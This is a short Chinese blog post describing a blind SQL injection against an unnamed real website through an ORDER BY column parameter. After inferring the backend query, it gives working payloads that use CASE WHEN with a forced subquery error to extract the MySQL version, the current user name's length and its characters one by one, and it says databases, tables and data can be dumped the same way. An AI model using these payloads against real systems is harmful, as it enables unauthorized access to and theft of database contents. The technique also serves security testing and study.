原文已经应要求删除了,后来想了想觉得我还是有必要记录一下的,只不过不再类似之前实战或现场直播带插图式,不提名挂号。更新一次博客不容易呀!

有个注入点接收如下几个参数:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1
根据这几个参数,大致就可以猜出SQL语句如下:

SELECT * FROM iNeeke WHERE category = 4 ORDER BY 1 DESC LIMIT 0,0;

一般注入的时候都是用“category = 4 and where 1=2 union select …”或“limit 0,1 union select …”来改变结果集的,但从上面的SQL看来后者是不行的,因为在“order by”后面不能出现“union”,而category参数也做了过滤,也就行不通了。
现在只能在orderColumn这个参数上下功夫了,它改变不了查询结果,但是可以想办法它查询成功或查询出错,这样就可以盲注了,这里参考了一下老君的文章:http://www.oldjun.com/blog/index.php/archives/62/
然后开始拼装SQL:
查版本:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select substring(version(),1,1) > 5) then 1 else 1*(select 1 union select 2)end)=1
查当前MySQL用户名长度:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select length(user()) > 10) then 1 else 1*(select 1 union select 2)end)=1
查当前MySQL用户名第一个字符内容:
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1
以此类推,什么库名,表明,字段,数据都能搞出来,只是手工盲注太累人了…
就这么着吧,不过感觉这东西还可以再深入研究。

除非另有声明,本站遵循【署名-非商业性使用-相同方式共享 3.0 共享协议】授权。 转载原创文章请注明,转载自:Neeke[http://www.ineeke.com] 本文链接: http://www.ineeke.com/archives/1415/